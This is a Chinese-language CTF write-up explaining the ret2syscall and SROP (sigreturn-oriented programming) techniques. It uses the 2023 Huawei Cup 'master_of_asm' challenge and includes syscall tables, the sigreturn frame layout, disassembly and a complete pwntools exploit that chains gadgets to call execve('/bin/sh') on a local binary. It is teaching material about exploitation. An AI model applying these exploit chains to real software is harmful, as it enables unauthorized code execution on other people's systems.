SROP和ret2syscall
SROP和ret2syscall
简介
华为杯被暴揍了,很多原本应该能想到的思路都没想到,所以特地记录一下。
起因是华为杯的master_of_asm题目,思想是srop。
ret2syscall
- 如果代码中可以返回到syscall的话,就可以做这个。
- 下面列出比较多用的系统函数调用号和寄存器:
64位:
64位利用rax传调用号,传参用rdi,rsi,rdx
32位:
32位利用eax调用系统号,传参分别用ebx,ecx,edx,esi,edi
rax/eax | syscall | rdi/ebx | rsi/ecx | rdx/edx |
---|---|---|---|---|
0/3 | sys_read | fd | buf | count |
1/4 | sys_write | fd | *buf | count |
2/5 | sys_open | filename | flags | mode |
3/6 | sys_close | fd | ||
15/173 | sys_rt_signreturn | null | ||
59/11 | sys_execve | filename | argv[] | envp[] |
srop
这个链利用的原理是使用re_sigreturn可以重建所有的寄存器,而且值全部都是存在栈里面的。
需要调用syscall;ret;
表
addr | +0x00 | +0x08 | +0x10 | +0x18 |
---|---|---|---|---|
0x00 | rt_sigreturn() | uc_flags | &uc | uc_stack.ss_sp |
0x20 | uc_stack.ss_flags | uc_stack.ss_size | r8 | r9 |
0x40 | r10 | r11 | r12 | r13 |
0x60 | r14 | r15 | rdi | rsi |
0x80 | rbp | rbx | rdx | rax |
0xa0 | rcx | rsp | rip | eflags |
0xc0 | cs/gs/fs | err | trapno | oldmask |
0xe0 | cr2 | &fpstate | __reserved | sigmask |
这里有一个技巧,如果srop想要多次执行的话,可以改变rsp的地址到下一个sigframe链上,这样它在rip再进行syscall时就会产生一连串的链了。
pwntools里面的工具
在pwntools中有srop专用的框架工具。
context.arch = 'i386' #32
context.arch = 'amd64'#64
frame = SigreturnFrame(kernel='amd64')
frame.rax = 0
SROP样题
参考2023华为杯中的master_of_asm
首先看一下汇编,很简单:
.text:0000000000401000 ; signed __int64 start()
.text:0000000000401000 public _start
.text:0000000000401000 _start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401000 ; LOAD:0000000000400088↑o
.text:0000000000401000 B8 01 00 00 00 mov eax, 1
.text:0000000000401005 BF 01 00 00 00 mov edi, 1 ; fd
.text:000000000040100A 48 BE 00 20 40 00 00 00 00 00 mov rsi, offset msg ; "Hello Pwn"
.text:0000000000401014 BA 09 00 00 00 mov edx, 9 ; count
.text:0000000000401019 0F 05 syscall ; LINUX - sys_write
.text:000000000040101B B8 00 00 00 00 mov eax, 0
.text:0000000000401020 48 89 E6 mov rsi, rsp ; buf
.text:0000000000401023 BF 00 00 00 00 mov edi, 0 ; fd
.text:0000000000401028 BA 90 01 00 00 mov edx, 190h ; count
.text:000000000040102D 0F 05 syscall ; LINUX - sys_read
.text:000000000040102F C3 retn
.text:000000000040102F
.text:000000000040102F _start endp
.text:000000000040102F
.text:0000000000401030 ; ---------------------------------------------------------------------------
.text:0000000000401030 48 D1 E0 shl rax, 1
.text:0000000000401033 C3 retn
.text:0000000000401033
.text:0000000000401034 ; ---------------------------------------------------------------------------
.text:0000000000401034 B9 01 00 00 00 mov ecx, 1
.text:0000000000401039 48 31 C8 xor rax, rcx
.text:000000000040103C C3 retn
.text:000000000040103C
.text:000000000040103D ; ---------------------------------------------------------------------------
.text:000000000040103D 48 31 C0 xor rax, rax
.text:0000000000401040 C3 retn
.text:0000000000401040
.text:0000000000401040 _text ends
.text:0000000000401040
.data:0000000000402000 ; ===========================================================================
.data:0000000000402000
.data:0000000000402000 ; Segment type: Pure data
.data:0000000000402000 ; Segment permissions: Read/Write
.data:0000000000402000 _data segment dword public 'DATA' use64
.data:0000000000402000 assume cs:_data
.data:0000000000402000 ;org 402000h
.data:0000000000402000 ; char msg[]
.data:0000000000402000 48 65 6C 6C 6F 20 50 77 6E 00 msg db 'Hello Pwn',0 ; DATA XREF: LOAD:00000000004000C0↑o
.data:0000000000402000 ; _start+A↑o
.data:000000000040200A 2F 62 69 6E 2F 73 68 00 sh db '/bin/sh',0
.data:000000000040200A _data ends
.data:000000000040200A end _start
所以只需要凑出sigreturn的参数,然后再进行一次寄存器重写到execve就可以了。
wp:
from pwn import *
context.terminal = ['tmux','splitw','-h']
context.log_level = "debug"
context.arch = "amd64"
io = process("./a.out")
xor_eax_eax = 0x40103e
shl_eax = 0x401031
xor_eax_ecx = 0x40103a
ecx_xor = 0x401034
syscall_ret = 0x40102D
# first, put rax as 0xf
payload = p64(xor_eax_eax) + p64(ecx_xor) + p64(shl_eax) + p64(ecx_xor) + p64(shl_eax) + p64(ecx_xor)+ p64(shl_eax) + p64(ecx_xor)
# Then, return to system call
payload += p64(syscall_ret)
# Then, make the sigreturn
bin_sh = 0x40200A
sig = SigreturnFrame(kernel = 'amd64')
sig.rax = 59
sig.rdi = bin_sh
sig.rsi = 0
sig.rdx = 0
sig.rip = syscall_ret
print(str(sig))
payload += eval(str(sig))
io.send(payload)
io.interactive()